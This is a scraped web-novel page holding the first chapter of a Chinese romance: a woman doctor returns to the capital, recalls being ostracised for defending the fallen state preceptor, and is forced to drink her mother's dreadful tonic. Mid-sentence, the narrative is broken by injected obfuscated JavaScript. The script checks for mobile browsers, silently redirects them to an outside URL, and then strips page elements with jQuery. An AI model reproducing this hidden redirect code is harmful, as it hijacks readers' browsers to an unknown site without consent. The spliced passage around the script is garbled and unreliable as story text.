默认冷灰
24号文字
方正启体

1. 恶女回京

作者:连山栀本书字数:K更新时间:
    第一章恶女回京


    世间医者多为男子,然南邑镇有位人人皆知的女大夫,口碑甚好,看过病的人都称赞一句“妙手回春啊,赵大夫”。


    女大夫除去看诊便是去茶馆听曲,每日活得逍遥自在。


    直至京师家中一封书信随春而来。


    立春已至,然积雪未融,寒意未散去,顺着淅淅沥沥的小雨似要钻进人的骨头,直叫人冻得打寒颤。


    “记得多备些冻疮膏,水冻得像冰一样,很多农户手上会长冻疮。”赵怀枝不情不愿登上马车,一步三回头细细吩咐。


    医馆掌柜笑道:“小姐您就放心回京师吧,事情我肯定办妥。”


    赵怀枝点头,慢吞吞钻进马车里,忽而听到有人叫她。


    “赵大夫,赵大夫!”一个村妇小跑过来,神色着急。


    赵怀枝认出她是前日带小孩来看诊的李家大娘,忙准备下车:“李大娘怎么了,可是孩子又发热?”


    李大娘制止住她的动作:“外头风大,赵大夫你可别出来冻着。孩子早退热好了,正是多亏了你。”


    “我听说你要回京师,特意带了自家做的肉饼。今早刚做好,还热乎着,路上吃正好。不是什么值钱的东西,你不嫌弃就好。”


    赵怀枝接过,肉香丝丝缕缕传入鼻中,隔着油纸也能感受到滚烫的热意,她因要回京而愁苦的神色多了几分笑意:“那便多谢李大娘了。”


    “路上小心啊,赵大夫!”


    马车缓缓朝城外驶去,赵怀枝剥开油纸,一口咬下去,肉汁混着饼皮的小麦清香落入喉中。


    赵怀枝回头望着南邑镇渐渐远去模糊的房屋,回京路上景色越发熟悉,马车摇摇晃晃往前走,似将时间也晃回三年前。


    那也是个寒意未散的春日。


    彼时旧帝在位听信谗言,将来历不明的女子封为国师,朝中上下深受国师巫术所害,如同悬在头顶的利剑,性命朝夕不保,谁也不知道下一瞬,被砍头的是谁。


    人人噤声不敢进言,私下里恨透了妖女国师。


    几位公子小姐相约踏春,韦公子酒意上头大骂国师,还问了句:“赵小姐,你多次入宫,可知道那妖人到底靠什么肮脏手段如此得圣心?”


    赵怀枝因一手过人医术被召入宫中为国师治病,也是这些人当中唯一有机会接触到国师的人。


    赵怀枝张了张嘴,最后还是顺从自己的心:“国师不是坏人。”


    轻飘飘的一句话,所有人骤然停下动作。


    有人打圆场:“赵小姐喝醉了吧,话都说混了。”


    “国师不是坏人。”赵怀枝倔强再说了一遍,抿紧嘴唇


    韦公子大着舌头说话,带着一身酒气醉醺醺走到赵怀枝面前:“你说什么?那妖人几句话就能让陛下给朝中大臣安上莫须有的名头,你和我说她不是坏人?”


    有人出声嘲讽:“赵小姐,你莫不是读书读傻了,被妖人迷惑了吧。”


    赵怀枝抬头,周围人冷冷注视着她,仿佛她是个不正常的人。


    第二日,京中勋贵家中皆飞快流传关于赵怀枝与妖人国师同流合污的传言,人人远离,人人冷言相讽。


    赵怀枝除了呆在家中,便是入宫为国师治病。


    一年后,镇北侯攻破宫门,旧帝身亡,妖人国师葬身火海。


    赵怀枝一夜未眠,在院中盯着无边夜色,直至天光乍破,东边升起晨曦,赵怀枝乘上马车远离京师是非之地。


    “小姐。”文心轻声唤她,拉回赵怀枝的思绪。


    文心手覆上赵怀枝的手:“若不吃,饼就要凉了,小姐可是在担心回京后的事?”


    赵怀枝拨开油纸:“我只是在想,三年未见,京中关于我的流言又会添油加醋到什么程度。”


    文心握着她的手,默默记在心中。


    马车内只有她和侍女,赵怀枝三两口吃完肉饼,美食稍稍减去心中苦恼,她索性直接横躺缩在早已铺好的软垫上,怀中掏出早已看过不下十遍的信。


    除去惯例的问候,信中提及家中弟弟年后将要行冠礼,提醒她记得早日归家。


    她长叹一口气,“不想回去京师啊。”


    在南邑镇,她是自在随意的赵大夫;而在京师,她就是人人嫌弃的赵小姐。


    侍女文心安慰:“待少爷行冠礼结束,小姐便可回来了。”


    赵怀枝丧着一张脸:“我知道,但我就是不想回去,一堆讨厌又麻烦的事情。”


    文心掏出一袋药材:“小姐不如像小时候一样,对照医书找出对应的药材,玩着就不在意这些事了。”


    赵怀枝无语望天却只能看到车顶:“文心,我不是小孩了。”


    “小姐现在行为和三岁小孩也没差。”文心替她拂去脸颊发丝,“毕竟没有哪家小姐会横躺在马车内。”


    “我是赵大夫,大夫累了就要休息,总不能病人倒下,大夫也倒下。”赵怀枝哼哼几声,动作却改成侧躺,拾出一株金银花夹在医书。


    挑挑拣拣,一本医书都塞满了药材变成两本厚,马车数日后也终于抵达京师。


    此时路上人多,马夫也控着马匹放慢脚步。


    赵怀枝坐在马车里掀开帘子,发觉自己张嘴呼出的气变成白雾:“京师这时还是一如既往的冷。”


    灰天下一片金黄余霞,显得远处屋檐黑沉沉,看不出原本的颜色。


    西市街道商铺斑驳脱落的门柱油了新漆,门口吆喝揽客的小二换了更年轻的小伙。


    来往行人将青石路板磨得光滑,河岸老柳掉光了叶,余下光秃的长长枝条随风荡起。水面依旧结冰,孩童嬉笑着在冰面玩耍,大人站在岸上嗔怒责骂。


    这是她前二十年呆过的地方,三年未回,日子一晃,也变得新新旧旧,陌生又熟悉。


    赵怀枝正感慨之际,对面忽然传来一声极为明显的“啧”声。


    赵怀枝循声望去,只见卖胭脂水粉铺子前站着偷偷打量马车上的赵怀枝的一男一女,一瞧便知是官家的公子和小姐,两人脸上嫌恶之色尚未来得及收敛,便与赵怀枝对上视线。


    被当场抓到背后蛐蛐别人,女子先是尴尬,随后和男子理直气壮转身离开:“今天出门真是倒霉,居然碰见这瘟神回来。”


    文心不动神色掩上帘子,隔绝外面视线:“外头风大,小姐莫要着凉。”


    赵怀枝轻笑:“让他们看去罢了,毕竟我这个名声狼藉,被赵家‘大义灭亲’赶走的‘恶人’回来了。”


    下一秒,“阿嚏!”


    文心抽出裘衣,笑得和善:“就算是恶人也会着凉,小姐,你也不想上次行医累倒的事被夫人知道吧。”


    赵怀枝:……


    马车停在赵家,被裹得圆滚滚得到赵怀枝艰难下车,正门一关,将外头的风雨全部拦在门外。


    屋内燃着火盆,窗户只余一条小缝,把寒意都挡在屋外,赵怀枝脱了裘衣笑道:“爹,娘。”


    赵家的“大义灭亲”更多是外人想当然的观念,赵家将赵怀枝赶离京师与其说是放弃,不如说是对赵怀枝的一种保护。


    赵母上前拉住她双手,心疼道:“久未见你,又瘦了,在外面可有按时吃饭睡觉?”


    “医馆的事情多不多,莫不是又顾着医馆没有好好照顾自己?”


    “手还是这般凉,回家这段时间要多吃些补品才行,我亲自炖了十全大补汤,厨房还煨着,要趁热喝效果最好,我得看着你全部喝下去,免得你偷偷倒掉。”


    “金桂,去把汤拿上来。”


    赵母一连串关心听得赵怀枝不知从哪个开始回答才好,然而在听到十全大补汤时,脑子瞬间清醒抓住关键部分


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17287869|198447||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    娘亲自炖的十全大补汤!


    亲!自!


    赵怀枝强装镇定,侧过头用求救的目光看向赵父。


    她娘什么都好,甚至是京中最大酒楼的老板,但就是厨艺一言难尽,难尽到狗都不吃。


    赵父移开视线,轻咳一声:“好了,孩子多日奔波回来,定然十分劳累,莫要再站着,快快坐下。”


    “对了,你外祖父母身体可还好?”


    “外祖父母身体都好,这几日还会去看看药田生长情况。”赵怀枝得以脱身坐下,试图岔开话题,“爹,娘,舟车劳顿着实辛苦,我想先回房休息了。”


    赵父:“嗯,快去休息吧。”


    赵母打断对话,一脸担忧:“身子这般容易累,我更得看着你喝完补汤才行,你就爱仗着自己年轻不注意保养身体,老了要遭罪。”


    赵怀枝弱弱反抗:“娘,我自己是大夫。”


    赵母:“你是大夫又不是神仙,城中医馆都有年轻大夫染风寒倒下。”


    反抗无效,赵怀枝无助看着金桂将汤端到桌子,一边是赵母慈爱的视线,一边是散发着诡异气味的汤。


    她怕是还没感受京师外头风言风语的猛烈,就要先殂在家中。


    闭气拿起汤勺慢吞吞送进嘴巴,味蕾一瞬感受到又苦又涩又麻,还回荡一丝诡异的甜,赵怀枝一把捂住自己嘴,僵持几秒硬是吞了下去。


    人看似面无表情实则魂已经飘走,脑中蹦出诸多想法堆成一团乱麻。


    好难喝,我要全部喝完?


    要不假装失手打翻汤盅?


    不,打翻说不定明天要喝两份。


    赵怀枝神情呆滞,脑中思绪混乱时忽然听见爽朗的男声。


    “听说阿姐回来了?”


    赵怀枝回过神,望见门口进来的少年人,长开的骨架撑起一身宝蓝圆领袍,腰系玉带,显得挺拔利落又添一丝儒雅。


    剑眉星目,眼神明亮,下颌还留着些许少年未完全褪去的弧度,手上拿着几册书,应是刚从学堂回来。


    正是她的弟弟赵怀瑾,也是她此行回家的原因,害她喝十全大补汤的罪魁祸首。


    天真的赵怀瑾还不知道已经被姐姐扣上一顶罪魁祸首的帽子,还一脸灿烂冲她笑。


    “弟弟看着读书也辛苦。”赵怀枝嘴角勾起弧度,“依我看,这十全大补汤应该分弟弟一半,不然让弟弟觉得娘偏心,像小时候一样哭闹就不好了。”


    赵怀瑾踏进正厅的脚步一顿:“不……”


    还没来得及逃跑,赵怀枝先他一步抓住人,挽住胳膊拉进正厅:“文心,去厨房拿个小碗来。”


    “好的,小姐。”


    黑乎乎的汤汁被分成两份,赵怀瑾握住自己那碗,手微微颤抖,正想问姐姐真的要喝吗,抬头一看,赵怀枝已经捏住鼻子一口气灌进去,用帕子挡住嘴优雅擦拭后盘成一团扔给文心。


    少年人眼尖,看见帕子上分明沾了不少汤汁,敢情是找他分担减少汤水后能吐一部分在帕子上,自己只喝一小部分。


    赵怀枝笑了笑,催促道:“怀瑾怎么还不喝,娘说趁热喝效果最好。”


    赵怀瑾怀疑回来的不是他姐姐,是话本里吃人不眨眼的妖魔鬼怪。


    最终赵怀瑾视死如归般喝完了十全大补汤。


    此时合家团圆的赵怀枝并不知,自她入城以来,有人站在城墙一直注视着赵家马车,直至马车停在府前,赵怀枝入了家门。


    “雨要下大了,回去吧。”那人望了眼天色,转身离去,身后一排随从乌泱泱离开,城墙靠人气堆起来的一点温暖消散得无影无踪。


    守城将领送走这尊大佛如释重负,这位贵人不知怎么想,坐在城墙啥也不做,硬是在上面吹了两个时辰冷风,劝了也不听,当真如传闻般性子任性又喜怒无常。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)